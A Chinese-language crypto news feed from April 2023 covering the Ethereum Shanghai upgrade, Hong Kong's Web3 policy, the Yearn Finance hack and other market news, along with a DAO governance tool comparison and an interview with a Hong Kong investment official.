    今日要闻提示： 1.以太坊上海升级已完成，Coinbase已启用ETH解除质押功能 2.香港特首李家超：将投入超7亿港元加快发展数码经济 3.独家：Hashkey Group旗下合规交易所Hashkey Pro即将上线 4.微软宣布开源Deep Speed Chat，帮助用户训练类ChatGPT等大语言模型 5.欧盟MiCA法规投票或将推迟一天至4月20日进行投票 6.Yearn Finance项目遭受攻击，黑客获利超1000万美元 7.Immutable推出5亿美元生态发展基金Immutable Ventures 8.FTX破产律师：已收回73亿美元流动资产，交易所或将重新开放 监管消息 香港特首李家超：将投入超7亿港元加快发展数码经济 据澎湃新闻报道，在2023数字经济峰会上，香港特区政府行政长官李家超表示，今年财政预算案中将拨款逾7亿港元加快数码经济发展，并拨款超过900万港元推出一系列国际举措和措施。他强调，将推动香港虚拟资产产业发展，Web3.0为代表的第三代互联网具有极大发展潜力。 知情人士：欧盟MiCA法规投票或将推迟一天至4月20日进行投票 据CoinDesk援引知情人士报道，欧盟加密资产市场（MiCA）法规投票可能会推迟一天，即在当地时间4月19日进行辩论，4月20日进行投票。周三发布的一份文件表明，在关键的最终投票之前，只有一项预期的修正案已提交给法律。 欧盟数据保护委员会决定成立一个专门的工作组，就数据保护机构可能采取的执法行动交换信息 欧洲数据保护委员会讨论了意大利数据保护当局最近就GhatGPT对OpenAI采取的执法行动（意大利数据监管机构要求OpenAI在4月30日之前遵守监管规定以解除ChatGPT限制）。声明显示，欧盟数据保护委员会决定成立一个专门的工作组，就数据保护机构可能采取的执法行动交换信息。欧盟数据保护委员会通过有关Meta用Facebook服务向美国转移数据合法性的草案决定的争端解决决定。 NFT ConsenSys已开放以太坊上海升级纪念NFT公开版本铸造，铸造窗口将开放72小时 ConsenSys现已开放以太坊上海升级纪念NFT系列“Ethereum，Evolved：Shanghai”公开版本铸造，铸造窗口将开放72小时。任何用户均可使用MetaMask钱包免费领取NFT，但需支付gas费。 据悉，该系列将包含纪念版和公开版两个版本，其中纪念版将在4月13日空投给以太坊核心开发者。 项目动态 以太坊上海升级已完成 以太坊上海升级已于北京时间13日6点28分在Epoch 194048高度完成。据欧科云链OKLink数据显示，当前以太坊累计质押量约1815万枚，质押率15.07%，年化收益率为3.76%。2022年9月，以太坊成功过渡到权益证明 (PoS) 共识机制，质押32个ETH即可成为验证者。此次上海升级增加了取款功能，用户可提取质押的ETH及相关收益。 今日晚些时候消息，Coinbase已启用ETH解除质押功能；币安发布公告称，用户可于4月19日起提交ETH赎回申请，起初到账时间需15天至数周。 独家：Hashkey Group旗下合规交易所Hashkey Pro即将上线 PANews从内部人士处获悉，Hashkey Group将很快推出名为Hashkey Pro的合规交易所，预计将在今年二季度上线，且已获得香港证监会许可。HashKey Pro上线后将先向机构和合格投资者开放。该交易所已确认有香港本地和中国背景的银行合作伙伴，通过直接银行转账支持美元出入金。 今日早些时候，Hashkey Group宣布将推出生态积分HSK，根据白皮书，早期在HashKey PRO上注册、交易、提供流动性的用户都可以获得生态系统奖励。同时，HSK还可以享有交易手续费折扣，以HSK结算的Maker交易费用最低可以完全免除；免除特定资产的提币费；提前交易新上线的资产；访问新产品和升级功能。 Immutable推出5亿美元生态发展基金Immutable Ventures 据官方博客，以太坊Layer 2解决方案ImmutableX开发公司Immutable宣布推出5亿美元发展基金Immutable Ventures，致力于支持基于Immutable X的Web3游戏和NFT项目，该基金将通过向在ImmutableX平台上构建的游戏和项目分配代币、现金赠款和投资来加速Immutable X协议的发展。 此外，Immutable Ventures已经对Web3公司和NFT初创公司进行了几项战略投资，包括Starkware、Stardust、PlanetQuest和Topology。 Avalanche为Evergreen子网推出Spruce测试网，参与机构包括WisdomTree等 据官方博客，Avalanche宣布启动Avalanche Evergreen子网的测试网Spruce，该测试网的初始机构合作伙伴包括T. Rowe Price Associates、WisdomTree、Wellington Management和Cumberland，参与机构将使用Spruce作为各种应用程序和资产的测试网，以衡量链上交易执行和结算的好处。 Spruce测试网旨在使交易双方机构能够以低风险、低进入门槛的方式参与公共区块链基础设施。使用无价值的代币可以让机构参与者体验Avalanche子网架构的全部功能，而不会将资金置于风险之中。 此前4月6日消息，Avalanche推出“Evergreen”子网以连接区块链上的机构。 zkSync生态项目SyncDex Finance疑似Rug Pull，项目官方社区已关闭 zkSync生态项目SyncDex Finance疑似Rug Pull，目前其官方社交平台和Discord频道均已关闭。 据相关页面信息，用户在该项目总计质押超100枚ETH和98,444.8USDC。据社区反馈，该质押池目前已锁定，用户已无法提取资金。 今日晚些时候消息，SyncDex Finance已将卷走的37万美元用户资金转至Mexc交易所。 Aave社区发起“将V3部署至zkSync Era主网”的温度检查投票 Snapshot投票页面显示，Aave社区发起“将Aave V3部署至zkSync Era主网”的温度检查投票，该提案目前支持率为97.3%，投票将于4月15日截止。 此温度检查投票为Aave治理提供了在zkSync Era主网上部署Aave V3的机会，并有限部署了初始资产：USDC和ETH。若此次投票通过，则进入ARFC阶段进行进一步讨论、风险参数评估网络分析和最终确定提案。如果ARFC阶段快照成功，则将该提案作为AIP提交以进行投票和链上治理批准。 Yearn Finance项目遭受攻击，黑客获利超1000万美元 据区块链安全审计公司Beosin旗下Beosin EagleEye安全风险监控、预警与阻断平台监测显示，Yearn Finance项目疑似遭受到闪电贷攻击，黑客获利超1000万美元，目前资金全部存在黑客地址。 Beosin Trace将持续对资金流向进行监控。 今日晚些时候消息，派盾分析称，此次攻击事件根本原因是由于yUSDT配置错误，与Aave 1无关；据其最新统计，Yearn Finance在今日的攻击事件中已损失约1160万美元。Yearn Finance开发人员表示，Yearn v2保险库似乎未受攻击事件影响，正调查此事；Aave表示，该事件没有对Aave V1、Aave V2和Aave V3产生影响。 微软宣布开源Deep Speed Chat，帮助用户训练类ChatGPT等大语言模型 微软宣布开源Deep Speed Chat，帮助用户训练类ChatGPT等大语言模型，使得人人都能拥有自己的ChatGPT。 据悉，Deep Speed Chat是基于微软Deep Speed深度学习优化库开发而成，具备训练、强化推理等功能，还使用了RLHF（人工反馈机制的强化学习）技术，可将训练速度提升15倍以上，成本却大幅度降低。例如，一个130亿参数的类ChatGPT模型，只需1.25小时就能完成训练。 Twitter将通过与eToro合作让用户交易加密货币和股票等金融资产 据CNBC报道，Twitter将通过与多资产投资平台eToro合作，让用户访问股票、加密货币和其他金融资产。eToro表示，从周四开始，Twitter应用程序将推出一系列新功能：用户可以查看市场图表；从eToro买卖股票和其他资产；并查看更多金融工具的市场数据。 eToro发言人表示，通过与eToro的合作，Twitter的现金标签将扩大到涵盖更多的工具和资产类别。用户还可以点击一个“查看eToro”的按钮，进入eToro的网站，然后在其平台上买卖资产。eToro使用TradingView作为其市场数据合作伙伴。 此前消息，推特公司现已并入名为X Corp.的实体公司，马斯克并未公布本次合并，但其此前曾表示将推特打造成名为X的超级应用程序，类似于微信。 FTX破产律师：已收回73亿美元流动资产，交易所或将重新开放 据CoinDesk报道，FTX首席律师Andy Dietderich在周三举行的法庭听证会上表示，FTX正考虑在未来某个时候重新开放。讨论的一种可能选项是，让FTX的债权人将其持有的部分权益转换为重新开放的交易所的股份。消息传出后，FTX原生代币FTT价格上涨超过一倍。然而，该律师强调，重启交易所只是众多可能性之一，并非最终决定。如果采取这一方式，将需要筹集大量资金，目前公司内部关于资金应来自FTX还是第三方存在争论。此外，FTX的律师还向法庭表示，他们已经收回了73亿美元的流动资产，高于1月份的19亿美元，但FTX远未到“股权分配”阶段。 融资消息 EOS Network获得DWF Labs的6000万美元投资 据Cointelegraph报道，数字资产做市商和投资公司 DWF Labs 宣布通过 4500 万美元的 EOS 代币购买协议和 1500 万美元的投资承诺来支持 EOS 网络，以投资基于 EOS 的企业和项目。该承诺旨在加快 EOS 网络的扩展和接受度。 矿业消息 美国德州参议院通过限制加密矿企激励措施的法案 据Cointelegraph报道，美国德克萨斯州参议院通过1751号法案，该法案将修改该州公用事业和税法的部分内容，以增加对加密挖矿公司的限制。该法案旨在将参与需求响应计划的比特币矿企限制在10%，并取消对该行业的税收减免。 该法案下一步将提交德克萨斯州众议院，计划于4月13日举行会议并讨论立法。如果该法案在众议院获得通过，德克萨斯州州长Greg Abbott将能够签署该法案成为法律。预计众议院的投票将更具争议性，部分原因是比特币矿企加大了反对该法案的力度。 重要数据 数据：当前以太坊质押均价为2134美元，正提款的实体中Huobi暂列第一 Nansen数据显示，当前（截止10:46）以太坊质押总量为18,168,583枚，以太坊流通供应量为120,437,016枚，总质押率为15.09%。以太坊质押的平均价格为 2134美元。以太坊正在提款的实体中Huobi以28.53%占比（39,776 枚）暂列第一，资产配置治理组织PieDAO和加密交易平台Kraken分列第三和第五。 此外，Token Unlock数据显示，自以太坊完成上海升级后，净提款数量（解除质押）已达到3.3万枚ETH，存入质押的新存款为1920枚ETH。当前有40.78万枚ETH处于待提款状态，价值约合5.65亿美元；网络共计26万名验证者，其中有3450个验证者全额提款，其余为部分提款。  ( 3 min )
    EOS Network获得DWF Labs的6000万美元投资
    PANews 4月13日消息，据Cointelegraph报道，数字资产做市商和投资公司 DWF Labs 宣布通过 4500 万美元的 EOS 代币购买协议和 1500 万美元的投资承诺来支持 EOS 网络，以投资基于 EOS 的企业和项目。该承诺旨在加快 EOS 网络的扩展和接受度。  ( 2 min )
    欧盟数据保护委员会决定成立一个专门的工作组，就数据保护机构可能采取的执法行动交换信息
    PANews 4月13日消息，据金十消息，欧洲数据保护委员会讨论了意大利数据保护当局最近就GhatGPT对OpenAI采取的执法行动。声明显示，欧盟数据保护委员会决定成立一个专门的工作组，就数据保护机构可能采取的执法行动交换信息。欧盟数据保护委员会通过有关Meta用Facebook服务向美国转移数据合法性的草案决定的争端解决决定。  ( 1 min )
    DAO工具对治理的影响及DAOLens、Aragon和Tally的对比分析
    原文：《DAO Tools 与 DAO治理 | DAOLens、Aragon、Tally 对比分析》 作者： Jialin 本研究报告侧重研究 DAO 工具和 DAO 治理的关系，具体涉及：   PART 1、关于 DAO 治理 1.1、链上治理 链上治理是指在区块链网络中进行的去中心化治理过程。它涉及到网络中各参与者就协议参数、软件升级、资源分配等问题达成共识的一种方式。链上治理的目标是实现一个公平、透明且不受单一实体控制的网络。链上治理一般通过Governor 治理合约实现。 Governor 智能合约是一种常用的开源治理合约，允许代币持有者使用完全基于链上的投票来控制 DAO。智能合约可以设计为根据链上投票的结果自动执行提案，从而无需受信任的第三方或核心团队来制定投票结果。提案可以做任何链上的事情： 去中心化协议从公开发布之时起就处于不断发展之中。通常，最初的团队在最初阶段保留对这种演变的控制，但最终将其委托给利益相关者社区。这个社区做出决策的过程被称为链上治理，它已成为去中心化协议的核心组成部分，推动各种决策，如参数调整、智能合约升级、与其他协议的集成、财务管理、拨款等。 链下治理（Off-chain governance）是指在区块链网络之外进行的治理过程。它通常涉及到社区成员、项目团队、核心开发者等在非区块链平台上讨论和达成共识的方式。  链下治理的主要特点和优势包括： 然而，链下治理也存在一些缺点：  治理并不是链上化程度越高越好，治理是手段，不是目的。DAO应该根据实际情况选择合适的治理模式。  链上治理和链下治理各有优缺点。链上治理具有高度的透明度、自动执行以及广泛参与的特点，但可能面临低参与度、激励不足等挑战。链下治理则提供了更多灵活性，便于人工干预和快速响应，但其决策过程可能不够透明且容易受到中心化的影响。  实际上，许多区块链项目和去中心化应用采用了链上治理和链下治理相结合的方式，以实现更为高效、公平和可持续的治理。例如，一些项目在链上进行核心决策，而将具体实施和具体实施和细节讨论留给链下环境。这样的混合治理模式充分利用了链上和链下治理的优势，既确保了治理过程的透明度和广泛参与，又保留了一定程度的灵活性和人工干预能力。 Tally（链上治理） 2.1.1 定位：链上治理仪表盘 Tally包括投票仪表板、提案创建向导、实时研究和分析以及教育内容。用户可以在 Tally 上查看发生的事情，然后代理投票权、创建或通过提案来花费 DAO 资金、管理协议或升级智能合约。所有操作都在链上完成。Tally团队认为治理应该像搭乐高一样。在标准形状和大小情况下，构建无限数量的可能。 Tally 是 Governor 合约的前端，Governor 合约是一种常用的开源治理合约，允许代币持有者使用完全基于链上的投票来控制 DAO。代币持有者使用 Governor 来制定、通过和执行提案。提案可以做任何链上的事情：从资金库中发送资金，更新 DeFi 协议的参数，更改子 DAO 的权限，铸造 NFT，或修改 Governor 本身的规则。  特色功能：  Tally API ：使查询有关 Governor DAO 的链上数据变得容易。列出治理者、链上提案和委托账户。使用 API 构建通知、挖掘选民数据或在您的游戏或应用程序中构建治理。 Tally的兼容性很好，支持以太坊、Polygon、Optimism、Arbitrum、Avalanche、BSC、Gnosis和各种测试网络上的DAO治理合约。  Tally 比较适合成熟业务模块的链上治理，需要自己先用 OpenZeppelin 治理合约模块部署治理合约，然后导入tally，对非专业技术人士不友好。 融资情况：2021年3月，获得融资1.5M，由 lemniscap & 1kx 领投。2021年8月，Tally宣布融资600万美元，Blockchain Capital 和 Placeholder 领投，大约25%的资金来自 The LAO、MetaCartel Ventures、Fire Eyes DAO 等DAO组织，以及与DAO有关联的天使投资者（包括Bankless创始人Ryan Sean Adams）。  Tally 已被很多大项目采用，大多是业务比较成熟的大项目，包括 arbitrum、sudoswap、nouns、op、uniswap、gitcoin、ens、hop、fei 等。过去的几个月里，由 Alchemy 发起的WEB3 30 评选，经过来自世界各地 web3 爱好者的数千份提名和投票，2023 Web3 30 关于 DAO 和 DAO 工具类评选，Tally 荣获前三名，分别是：Guild、Snapshot 和 Tally。 2.2、Aragon（链上治理） 无需编码即可启动链上 DAO 治理，及插件式 DAO OS。  Aragon App：用户友好的应用程序，无需编码即可启动链上 DAO 治理。该应用程序为您的社区提供了一个简单易用的链上主页，用于创建提案、投票和加入新成员。  Aragon OSx：通过精益设计，我们的智能合约为我们今天无法想象的组织奠定了基础。插件可以轻松自定义您的治理。使用我们的治理插件在 Aragon OSx 协议上构建 DAO、dApp或任何您可以想象的东西。治理功能插件化，一站式 DAO 治理操作系统！  1）构建和管理 DAO  直接在您的 dApp 中以编程方式部署和运行自定义 DAO。  2）自定义您的组织  扩展 DAO 可以使用治理插件（暂未推出）执行的功能。  3）进化和适应  我们的权限管理系统授予和撤销权限，因此您的组织可以随着您的需求而发展。  Aragon 是 ico 时代的老项目，中间产品探索和路线发生了较多改变，目前新版产品（Aragon App和Aragon OSx）暂时只兼容以太坊、Polygon 主网和 Polygon/goerli 测试网。  同样是链上治理，Aragon 是功能全面且易用的链上综合治理工具，对小白和专业人士都适用。  Aragon 在2017年5月进行 ico 代币销售，众筹了27.5万个 eth（按目前以太坊价格，价值约5亿美元）。所以，Aragon 的资金一直很充裕，有时间和资金进行各种产品和路线尝试。 根据Aragon官网，号称：     5,000 DAOs Created； +300,000 Community Members； +$6B InAragon DAOs； +$200M in Aragon Treasury…… 然而，实际新版系统采用相对较少，可能因为2023年2、3月份才推出原因。 2.3.1 定位：一站式链下DAO Tool 2022 年 1 月创立，旨在帮助企业进行入职、贡献管理等工作来简化 DAO 的运营流程。B2B 商业公司，印度团队。 DAOLens 由 Vikram Aditya 和 Apoorv Nandan 于 2022 年 1 月创立，旨在帮助企业进行入职、贡献管理等工作来简化 DAO 的运营流程。 DAO Manager 是 DAOLens 的产品名称，有很完善的链下治理基础设施例如：snapshot、bounty、proposal、events、library、space 等，可连接 discord、钱包，权限管理、加密支付等；具有 token 和 nft 门控等。  初期为了尽量获得用户，DAO 可以不用管 DAO Manager 已有功能，自己设计需求，交给DAOLens，他们在 DAO Manager 中定制实现。DAO Manager 基本版免费，未来靠AI服务、全解决方案包括咨询解决营收。  因为 DAOLens 是链下综合治理工具，比较中心化的系统，可以接入各种治理小工具，所以它有很好的灵活性，可以支持各种链上代币和nft进行链下辅助治理。适合小白和专业人士，相比链上综合治理工具，更简单和友好，具有很强的适用性，适合各种社群组织和非链上治理 DAO组织。  Web3 初创公司 DAOLens 宣布完成500万美元融资，Nexus Venture Partners、Better Ventures和 iSeed II领投，Coinbase 董事会成员Gokul Rajaram、Polygon 联合创始人Sandeep Nailwal、Solana 联合创始人 Raj Gokal、Animoca Brands 副总裁 Simon Doherty 和 Tribe Capital 联合创始人 Arjun Sethi 等参投。筹集资金将用于产品开发、人才引进，并推动其工具堆栈的后续推出。  DAOLens 是 B2B  商业公司，商业拓展能力很强，几乎所有印度人参与的项目，DAOLens 团队都会先拿下，让他们进驻 DAO Manager。包括 Polygon 基金会谈妥，Polygon DAO 已经入驻，还会支持基金会投的项目入驻；Solona基金会也谈妥。 DAOLens 团队也正在游说BanklessDAO （BanklessDAO 的核心成员跟 Polygon DAO 几乎同一拨人）。  因为起步晚的原因，目前还没有太多有名项目使用它。但DAOLens适用范围广泛，商业前景被很多人看好。 2.4.1 定位：为 Nouns DAO 服务的一站式链上治理工具  Zora 是一种去中心化协议，任何人都可以在未经许可的情况下进行买卖和创建。创建了一系列工具，可以轻松开始构建。Zora 是为 Nouns DAO 服务的治理工具，允许用户创建自己风格的 Nouns DAO。Nouns 风格的 DAO 具有分布式治理、可组合性和升级性、以及持续融资等特点。  1）Zora堆栈  2）模块化架构  ZORA V3 使用允许 Zora DAO 部署新市场类型和更新版本的架构。市场模块的每个部署版本都是无需许可的，永远不能更改，但 DAO  可以将模块部署到 Zora 的批准空间中。这有助于开发人员选择他们使用的模块并轻松使用新版本而无需完全迁移（就像我们从 V2 到 V3 所做的那样），并降低了需要花费的总 gas。 3）通过Zora创建具有Nouns特色风格的 DAO 分配机制：以一致的时间间隔创建NFT可以让社区以健康的速度形成，而不是通过空投来分配治理。  可组合和可升级：所有合约都可以单独升级，这意味着 DAO 不是静态的，而是随着时间的推移而演变的。  持续融资：DAO 通过随着时间的推移不断发行新的 NFT 来创造可持续的资金。  Zora目前仅兼容以太坊主网和 Goerli 测试网。Zora 是为 Nouns DAO 服务的治理工具，应用范围较窄。  NFT 交易市场 Zora 以 6 亿美元估值完成 5000 万美元融资，Haun Ventures 领投。Zora 创始人 Katie Haun 曾是 a16z 首位女性普通合伙人，Zora 此前进行了包括 TikTok 相关NFT 以及安迪·沃霍尔艺术基金会 NFT 的拍卖。 Zora平台自推出以来，已经在 NFT 领域取得了一定的影响力。许多艺术家、创作者和收藏家都在 Zora 上发布和交易 NFT。  Zora 的新无代码工具可以更轻松地创建由 NFT 拍卖资助的 DAO，遵循热门项目 Nouns 建立的模型。让创作者更容易使用它，而无需工程师分叉和修改现有代码，使几乎任何人都能够为几乎任何项目创建 NFT 驱动的DAO。购买 NFT 可以让每个所有者成为 DAO 或去中心化自治组织的成员，本质上是一个具有共享金库的代币化社区。随着时间的推移，Nouns 已将其更大的重点放在推进开源知识产权上 ，并利用其充足的资金将 Nouns 图像放入 Bud Light 商业和独立电影中，例如，以及其他社区批准的举措。  在本报告中，我们分析了四个主要的链上与链下治理工具：Tally、Aragon、DAOLens 和 Zora。每个工具都有其独特的优点和适用场景。根据组织或项目的需求，选择合适的治理工具至关重要。  Tally 适用于需要一个成熟且支持多种区块链网络的链上治理工具，但对非专业人士可能不够友好。Aragon 是一个全面且易用的链上治理工具，具有高度可定制性，但仍需要进一步推广和应用。DAOLens 提供了丰富的链下治理基础设施，并与多种工具集成，但目前尚无知名的DAO 或社区采用。Zora 是一个为 Nouns DAO 服务的治理工具，具有创新的治理模式和强大的升级性，但受限于 Nouns DAO 风格和网络支持。  建议在选择治理工具时，充分考虑项目的实际需求和目标，以确保选用的工具能够为项目带来最大的价值。 适应性 3.2、其他 DAO Tools 对 SeeDAO OS 的参考 1)治理功能插件化（参考：aragon） 2)治理Dashboard可视化 （参考：tally） 3)非常规用户涉及功能模块尽可能隐藏，提升交互友好性（参考：DAOLens） 1）大型 DAO 会选择开发自己的 DAO Tool，小型 DAO 会选择比较通用的 DAO Tool  随着 DAO 生态的发展，大型 DAO 将根据自身需求定制开发治理工具，以满足其特定业务流程和治理模型。相比之下，小型 DAO 会倾向于使用通用的 DAO 工具，以降低开发成本和提高效率。  2）市场会涌现各种特定应用的插件化 DAO Tool，供各方集成  未来将出现更多针对特定应用的插件化 DAO 工具，以满足不同类型 DAO 的需求。这些插件化工具将便于各方集成，提升 DAO Tool 整体的灵活性和可定制性。  3）大型 DAO Tool 会集成更多外部 DAO Tool 插件  随着 DAO 生态的不断扩大，大型 DAO 工具将集成更多外部插件，以提供更丰富的功能。大型DAO 工具将为用户提供更加完善的治理体验。  4）链上治理比例会越来越高，混合治理模式会越来越流行随着区块链技术的进步，链上治理所占比例将逐步提高。 同时，混合治理模式，即结合链上与链下治理的方式，将成为越来越多 DAO 的选择，以提高治理的有效性和适应性。  5）链上治理数据的增加会推动涌现更多研究和分析链上数据的 DAO Tools  随着链上治理数据的快速增长，将催生出更多针对链上数据研究和分析的 DAO 工具。这些工具将帮助 DAO 更好地理解治理过程中的数据，为决策提供有力支持。  6）链上 DAO Tool 的可组合性会推动在不同项目、生态和组织的用户身份和声誉的统合  未来，链上 DAO 工具的可组合性将促进不同项目、生态和组织之间的用户身份和声誉统一。这一趋势将推动去中心化身份（DID）的发展，为整个区块链生态提供更高效、安全和可靠的身份认证和管理方式。 文章来源：DAO Tools 前沿研究小组 作者：Jialin 排版：惠子 审核: SuanNai  ( 7 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.13）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    哪些平台可以查看上海升级后的ETH取款量？
    原文：《上海升级后，我们可以在哪里监控ETH取款量？》 作者：0x711、FYJ，BlockBeats 以太坊上海升级已于今晨 6 点 28 分在 Epoch 194048 高度完成。此次升级的主要关注点在于增加了以太坊质押取款功能，用户在此次升级后可提取质押的 ETH 及相关收益。根据目前数据情况，以太坊提款情况较为稳定，同时 ETH 和相关质押衍生 Token 价格走势也很平稳。为方便用户实时观测相关数据，BlockBeats 总结整理了四个主流平台推出的以太坊提款数据面板。 相关功能刚刚更新，仅支持按日查看 ETH 已提款量，但简洁直观，目前已有两日数据，长期数据积累后可观察取款量趋势。 该页面提供包括提款 pending、预计未来 12 小时提款数据等全面的以太坊质押解锁信息。柱形图则可以清楚观察到解锁数量的变化趋势。 Nansen 区块链数据平台 Nansen 也在上海升级完成后第一时间发布了查询面板。该面板展示了 ETH 的最高质押实体/地址、当前提款状态和提款队列。此外，此页面专门提供了以太坊流动性抵押衍生品（LSD）协议的关键指标和数据分析。 全中文页面对国内用户更加友好，除质押总体数据外，该页面还提供主流质押衍生 Token 的价格走势，更方便用户观测相关 Token 与 ETH 的锚定数据。  ( 2 min )
    知情人士：欧盟MiCA法规投票或将推迟一天至4月20日进行投票
    PANews 4月13日消息，据CoinDesk援引知情人士报道，欧盟加密资产市场（MiCA）法规投票可能会推迟一天，即在当地时间4月19日进行辩论，4月20日进行投票。周三发布的一份文件表明，在关键的最终投票之前，只有一项预期的修正案已提交给法律。上月报道，欧洲加密法案MiCA将于4月18日提交至议会进行讨论。 相关阅读：解读欧盟MiCA法案：监管趋严，将对加密生态产生何种影响？  ( 1 min )
    对话香港投资推广署科技主管：香港为何具备成为Web3枢纽的优势？
    采访 | Presley，PANews 撰文 | Nancy，PANews Web3行业已然迎来“香港时刻” 。4月12日-15日，由万向区块链实验室、HashKey Group联合主办，W3ME承办的“2023香港Web3嘉年华（Hong Kong Web3 Festival 2023）”在香港会议展览中心举行，香港投资推广署金融科技主管梁瀚璟作为演讲嘉宾，在会后接受了PANews的采访，就香港的发展机遇、扶持策略和监管政策等方面进行了一一解答，为我们展现了香港打造Web3枢纽的决心和能力。 香港为何需要Web3？ 凭借“背靠内地，面向全球”的独特优势，香港以持续开放的姿态支持金融科技的创新与迭代，成为国际金融中心。但犹如逆水行舟，不进则退，现阶段的香港正面临严峻的挑战和考验，甚至开始掉队于其他全球主要金融市场。在此时刻，香港选择推动Web3生态圈的发展来打造自己的新“名片”。 “比尔·盖茨曾说过，‘人们总是高估未来两年的变化，低估未来十年的变革。’历史会重演，Web3亦是如此。对于香港而言，虽然它是国际金融中心，但谁也无法保证10年后会是怎样？香港的经济不能单靠一个板块，这是非常危险的，亟需金融以外的增长点。”梁瀚璟如是表示，Web3并非是一个简单的流行语或炒作，而是一种范式转变，将改变我们在互联网或未来元宇宙中与信息、价值和信任互动的方式，甚至还有可能实现更加去中心化、高效和包容的平台和服务，从而赋予用户和创作者权力，还将为创新、创业和社会影响创造新的机会。 “由于美国对加密市场较为严厉的打压，非美项目面临着生存问题，且FTX暴雷事件也让新加坡蒙受损失，这些事件为香港发展Web3提供了机遇。而政府的监管态度、流量和人才涌入等会成为香港发展Web3的优势。香港拥有充满活力的金融科技生态系统，超过800家金融科技公司为市民和商界人士提供不同种类的创新和便捷的金融服务。”梁瀚璟补充道。 实际上，近几个月来香港在推进Web3发展上不遗余力，包括在NFT、债券发行代币化、数码港元稳定币等方面做出了尝试。比如，今年2月，香港特区政府发售8亿港元的首批代币化绿色债券，这是全球首批由政府发行的代币化绿色债券，也是政府在有关香港虚拟资产发展的政策宣言中宣布的试点项目之一。 对此，梁瀚璟表示，当前也有很多金融机构也看到证券化代币潜力，比如资管公司BlackRock。实际上，证券化代币的应用规模非常广，比如房地产、知识产权、IP和艺术品等，而香港在这些领域具有一定优势，比如艺术领域，香港是全球第二大当代艺术品拍卖市场，包括Christie's亚太总部也设立在香港，这家拍卖行2022全年成交总额还创下艺术市场历史新高。 “香港还正与内地合作，测试在香港使用数字人民币进行跨境支付，并与多家中央银行合作，开展多家中央银行数字货币桥梁项目，以加快跨境支付。” 对于加密从业者而言，香港的政策充满着吸引力。 一方面，香港特区在去年10月发表的《有关虚拟资产在港发展的政策宣言》表达了对全球从事虚拟资产业务的创新人员的欢迎和拥抱。不仅如此，为了更好凝聚和招揽全球Web3初创企业和人才，香港还于今年初成立了“数码港Web3基地”，香港政府还在新一份财政预算案拨款5000万港元，并香港还将设立Web3Hub基金。对于这些想在香港落户Web3企业，梁瀚璟表示港府会对这些项目进行背景勘查，对于合规项目可提供落地扶持、业务资源介绍、相关人才招聘等支持。 面对香港释放的加密信号，梁瀚璟表示，截至2023年2月底，香港投资推广署已收到超过80家与虚拟资产相关的内地和海外公司有意在港开展业务。这些公司包括VA（虚拟资产）交易所、区块链基础设施公司、区块链安全公司、加密钱包和支付公司，以及其他构建Web3生态的项目，主要询问了政策声明的实施细节、监管要求、人才入境的签证要求、对VA和Web3领域的针对性支持措施等，并探讨了在香港设立企业的可行性。另外，共有23家来自内地、加拿大、欧盟(欧盟)国家、新加坡、英国(联合王国)及美国(美国)的公司向投资推广署表示计划在香港设立办事处，业务领域包括虚拟资产交易、基础设施、区块链网络安全等。 除此之外，梁瀚璟还向PANews透露，为协助金融科技公司拓展业务至内地、东南亚及其他地区，香港于去年12月推出社区网上平台，鼓励本地企业连接金融科技公司与本地及全球的用户及投资者。而香港已有不少传统金融机构在陆续入局，但他们对风险控制要求非常严格，这也导致效率非常慢。不过，市场仍有非常多机构的业务开展需要这类机构进行强有力背书。 创新与风险并存。面对Crypto领域暴露出的风险，全球正在加大监管力度。例如美国监管机构不仅对银行进行了“清扫行动”，不断向银行施压使得它们不得不放弃加密业务，这也导致Silvergate和Signature Bank等加密友好银行接连倒闭，还对币安创始人CZ、Coinbase等加密机构起诉。 对于Web3的潜在风险，香港将采取适当监管。“推动Web3的发展，前提都是不能损害到金融体系的稳定和投资者保护。适当监管是必须的，这样才能造就可持续发展的环境，让大家有更理想的发展空间。在这个大前提下，香港将遵循‘相同业务、相同风险、相同规则’的监管思路，让虚拟资产最大程度创新和发展。”香港财政司司长陈茂波指出。 与此同时，香港金管局陈家齐也表示，香港发挥Web3潜力的同时，也必须辅以相应的监管来缓解风险。在监管稳定币方面，考虑到市场对稳定币作为交易媒介的期望、要求稳定币建立可信和稳健的“价值稳定”机制的重要性、稳定币对日常经济活动的潜在影响、以及稳定币可能成为传统金融市场与虚拟资产生态系统之间的的风险传导媒介等，金管局正继续有关跟进工作，希望就稳定币建立适合的监管安排。 而香港之所以能成为重要的金融科技创新枢纽，原因在于稳定的国际级监管制度及监管沙盒和措施为其金融科技发展提供了肥沃的发展土壤。为应对金融科技快速发展带来的金融风险，香港金管局于2016年推出了金融科技监管沙盒来实现监管与创新的动态平衡。 针对Web3和虚拟资产领域的沙盒监管，梁瀚璟向PANews表示，港府暂时并未将Web3引入监管沙盒，但改进了证券规则，允许受监管的中介机构向香港的散户投资者提供合资格的VA期货ETF交易，这使香港成为亚洲市场的先驱。在短短几个月内，我们还看到三只VA期货ETF已经在香港联交所上市交易。 不仅如此，在风险控制上，香港于2022年12月立法会通过了《反洗黑钱及反恐怖主义融资（金融机构）条例》（AMLO）的修正案，引入了虚拟资产服务提供商（VASP）的发牌制度，此法案将于2023年6月1日生效。 当然，对于网络攻击等风险问题，香港将会选择和一些机构合作进行实时监控。“香港金融管理局正在研究‘稳定币’的监管制度，目标是在2024年实施相关监管，业界不同类型的机构均有资格申请。而为了促进生态圈的活跃，香港政府或金管局更倾向于合作发行稳定币，且合作机构的数量暂不受限制，将会有很多差异化产品推出，其中最重点的赛道是跨境支付等。”梁瀚璟还透露称。 值得一提的是，香港证券及期货事务监察委员会（SFC）中介机构部临时主管蔡钟辉还于近期也表示，DeFi项目也需要受到SFC的监管，自动交易服务也是属于SFC监管之列，去中心交易所如果涉及到虚拟资产，也需要申请牌照；一些DeFi协议名义上是去中心化的，现实中少量开发方持有大量治理代币，需要分析其实质性而不是表面的说法。 面对全球日益严苛的监管环境中，加密企业正在寻找适合生存的土壤，对于香港这座国际金融中心而言，能否成功抓住Web3并成为故事的中心，还需拭目以待。  ( 2 min )
    视频｜揭秘币安赵长鹏CZ七大时期，原来加密大佬是这样炼成的！
    00:00 内容预告 00:44 儿时的CZ 01:29 高中时期 03:27 大学时期 04:52 创业初期 05:25 进入加密行业 07:59 流亡时期 09:00 FTX事件后 10:20 家庭状况  ( 1 min )
